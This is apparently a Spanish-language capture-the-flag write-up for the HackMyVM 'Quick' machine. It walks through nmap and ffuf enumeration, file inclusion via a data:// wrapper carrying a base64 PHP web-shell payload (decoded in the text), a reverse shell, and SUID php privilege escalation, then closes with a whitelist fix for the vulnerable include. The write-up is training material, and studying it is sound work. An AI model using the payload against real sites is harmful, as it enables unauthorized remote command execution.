Quick
¡Hola, hacker! ¡Bienvenido a un nuevo post!
En este artículo, nos adentraremos en la resolución de la máquina Quick de la plataforma HackMyVM. Comenzaremos aprovechando un parámetro en la URL para obtener acceso al sistema mediante una reverse shell. Este parámetro se emplea para cargar diversas secciones del sitio, pero su validación no está siendo realizada de manera adecuada. Finalmente, nos aprovecharemos de un binario de php
con permisos SUID para escalar nuestros privilegios.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 -Pn -n 20.20.20.12 -vvv -oG scanPorts
Descubrimiento de puertos abiertos
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p22,80 -vvv -oN targeted 20.20.20.12
Descubrimiento de versión y servicio con nmap
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Explotación
Accedemos al sitio web que se encuentra en ejecución en el puerto 80, donde nos encontramos lo siguiente:
Podemos notar que las diversas secciones del sitio web se cargan dinámicamente mediante el parámetro page
. Esto se puede verificar al acceder directamente a alguno de estos archivos.
También, podemos verficarlo haciendo un poco de web fuzzing.
1
ffuf -fw 219 -c -u 'http://20.20.20.12/index.php?page=FUZZ' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
Teniendo en cuenta lo anterior, podemos intentar leer archivos del sistema aplicando Directory Path Traversal.
1
http://20.20.20.12/index.php?page=../../../../../../../etc/passwd
Pero vemos que no tenemos éxito.
Si probamos aplicar un wrapper de php, por ejemplo: php://filter/convert-base64.encode/resource=home
para leer el contenido de los archivos php, vemos que tampoco tenemos suerte.
Al investigar sobre los wrappers en PHP, descubrí una técnica para ejecutar comandos en la máquina víctima mediante el wrapper data://
.
Referencia: File Inclusion/Path traversal
1
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Esta línea de código PHP utiliza una URL de datos (data URI) para proporcionar datos directamente en el código PHP sin necesidad de acceder a un archivo externo.
data://
: Indica que se trata de una URL de datos.text/plain
: Especifica el tipo MIME de los datos, en este caso, texto plano.;base64
: Indica que los datos están codificados en Base64 para evitar problemas con caracteres especiales.,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
: Los datos codificados en Base64.
Después de decodificar, esto se traduce como:
1
2
echo 'PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+' | base64 -d;
<?php system($_GET['cmd']);echo 'Shell done !'; ?>>
Ahora que tenemos capacidad de ejecución de comandos, podemos ganar acceso al sistema.
Enviamos una reverse shell a nuestra máquina atancate por el puerto 4444.
Hacemos un tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
Y de esta forma, ya podemos leer el flag de user.txt
Escalación de privilegios
Al realizar una enumeración del básica del sistema, encontramos que el binario /usr/bin/php7.0
es SUID.
Si hacemos una búsqueda en GTFOBins, nos encontramos con una forma de escalar nuestros privilegios en este contexto GTFOBins - php.
Por lo tanto, procedemos a escalar nuestros privilegios.
Y por ultimo, leemos el flag de root.txt
Extras
Antes de concluir el post, analizemos la parte del código vulnerable:
Vemos que no existe ninguna validación previa, más alla de forzar la extensión a .php
.
Para validar este código, podemos hacer algo como lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// Lista blanca de páginas permitidas
$allowedPages = ['home', 'about', 'contact', 'cars'];
// Si no se proporciona ninguna página, cargar la página predeterminada (home)
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
// Manejar el caso en que la página solicitada no está permitida
if (!in_array($page, $allowedPages)) {
http_response_code(403);
die("Error 403: Acceso no permitido a esta página");
}
$filePath = __DIR__ . '/' . $page . '.php';
// Manejar el caso en que el archivo no existe
if (!file_exists($filePath)) {
http_response_code(404);
die("Error 404: Página no encontrada");
}
include($filePath);
?>
- Se define una lista blanca de páginas permitidas (
$allowedPages
). - Se verifica si la página solicitada está en la lista blanca antes de incluir el archivo.
- Se construye la ruta completa del archivo para incluir utilizando DIR para obtener el directorio actual del script.
- Se verifica si el archivo realmente existe antes de incluirlo.
Este enfoque ayuda a mitigar la posibilidad de LFI y brinda un control más estricto sobre las páginas permitidas.
De esta forma, concluimos el Writeup de la máquina Quick.
Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.
Gracias por tu lectura!
Happy Hacking!